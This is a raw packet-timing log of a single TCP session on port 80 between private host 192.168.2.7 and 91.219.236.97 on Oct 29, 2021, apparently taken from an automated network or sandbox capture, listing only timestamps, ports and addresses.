Oct 29, 2021 20:30:48.031757116 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.031796932 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.031805038 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.031841993 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.031881094 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.031888962 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.031919956 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.031959057 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.031966925 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.031999111 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.032038927 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.032046080 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.032077074 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.032114983 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.032121897 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.032155037 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.032191992 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.032200098 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.032232046 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.032270908 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.032278061 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.032310963 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.032351017 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.032356024 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.032387972 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.032433033 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.032833099 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.032929897 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.032972097 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.032982111 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.033011913 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.033063889 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.033468962 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.033515930 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.033574104 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.033624887 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.033628941 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.033670902 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.033703089 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.033732891 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.033762932 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.033786058 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.033823013 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.034126043 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.034166098 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.034204960 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.034228086 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.034245014 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.034288883 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.063586950 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.063647032 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.063782930 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.063867092 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.063920021 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.063958883 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.063971043 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.063999891 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.064038992 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.064048052 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.064079046 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.064121962 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.065033913 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.065089941 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.065141916 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.303368092 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.336040974 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.336585999 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.336807013 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.336945057 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.336987972 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.337011099 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.337025881 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.337065935 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.337071896 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.337105036 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.337142944 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.337150097 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.337182999 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.337220907 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.337224960 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.337260962 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.337300062 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.337304115 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.337337017 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.337376118 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.337379932 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.337414980 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.337451935 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.337460995 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.337493896 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.337531090 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.337536097 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.337572098 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.337611914 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.337613106 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.337649107 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.337677002 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.337690115 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.337714911 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.337753057 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.337764025 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.337791920 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.337831020 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.337833881 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.337871075 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.337909937 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.337915897 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.337946892 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.337985039 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.337990999 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.338023901 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.338067055 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.370951891 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.370971918 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.370985031 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.370995998 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.371012926 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.371031046 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.371047020 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.371062994 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.371098042 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.371126890 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.371269941 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.371287107 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.371303082 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.371320009 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.371349096 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.371366978 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.371607065 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.371624947 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.371639967 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.371655941 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.371671915 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.371699095 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.371718884 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.371750116 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.371767044 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.371782064 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.371798038 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.371814966 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.371835947 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.371854067 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.371869087 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.371881962 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.371897936 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.371886015 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.371915102 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.371932030 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.371948004 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.371985912 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.371992111 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.371995926 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.371999979 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.372003078 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.372036934 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372054100 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372071981 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372101068 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372117043 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372103930 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.372174978 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.372179985 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.372222900 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372241020 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372273922 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.372306108 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372323990 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372361898 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.372375965 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372394085 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372409105 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372425079 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372453928 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372471094 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372492075 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.372505903 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.372510910 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.372536898 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372555017 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372570992 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372586012 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372602940 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372631073 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372648954 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372663975 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372714043 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.372730970 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372741938 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.372750044 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372750998 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.372759104 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.372775078 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.372884989 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372905016 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372921944 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372939110 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372941971 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.372951984 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.372973919 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.372993946 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.404465914 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.404506922 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.404541016 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.404634953 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.404680967 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.404716015 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.404725075 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.404768944 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.404784918 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.404792070 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.404805899 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.404836893 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.404860973 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.404891014 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.404925108 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.404942989 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.404957056 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.404989958 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.405008078 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.405025005 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.405056953 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.405076027 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.408324957 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.408370018 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.408406973 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.408447027 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.408472061 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.408493996 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.408612967 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.408654928 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.408687115 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.408690929 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.408730984 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.408744097 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.408822060 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.408878088 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.408886909 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.408926010 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.408965111 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.408982992 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.409004927 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.409041882 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.409061909 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.409080982 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.409121037 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.409132957 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.409157991 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.409195900 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.409209967 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.409233093 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.409271002 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.409285069 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.409311056 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.409348965 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.409362078 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.409388065 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.409426928 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.409440994 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.409463882 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.409502029 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.409519911 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.409553051 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.409590006 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.409621954 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.409627914 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.409666061 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.409696102 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.409703970 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.409744978 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.409760952 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.409781933 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.409821033 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.409835100 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.409858942 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.409897089 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.409914017 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.409934998 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.409972906 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.409987926 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.410012960 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.410053015 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.410069942 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.410089016 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.410126925 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.410149097 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.410166025 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.410202980 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.410217047 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.410240889 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.410279989 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.410315990 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.410322905 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.410377026 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.410379887 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.410429955 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.410474062 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.450633049 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.450683117 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.450721979 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.450761080 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.450798988 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.450822115 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.450839043 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.450855017 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.450876951 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.450889111 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.450917006 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.450953960 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.450965881 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.450992107 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.451029062 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.451040030 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.451067924 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.451111078 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.451128006 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.451169014 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.451208115 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.451212883 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.451245070 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.451282978 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.451294899 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.451322079 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.451359034 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.451370001 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.451397896 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.451436043 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.451447010 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.451474905 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.451515913 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.451529980 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.451554060 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.451592922 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.451605082 CEST	49812	80	192.168.2.7	91.219.236.97
